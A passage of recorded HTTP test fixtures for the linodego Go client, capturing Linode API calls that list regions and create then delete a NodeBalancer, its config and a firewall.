172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228211}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441121, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-87-31.ip.linodeusercontent.com", "ipv4": "172.232.87.31", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441121/configs method: POST response: body: '{"id": 670339, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441121, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441121/configs/670339 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441121 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228211 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestNodeBalancerNode_UpdateInstance.yaml000066400000000000000000000615311455402072200343400ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 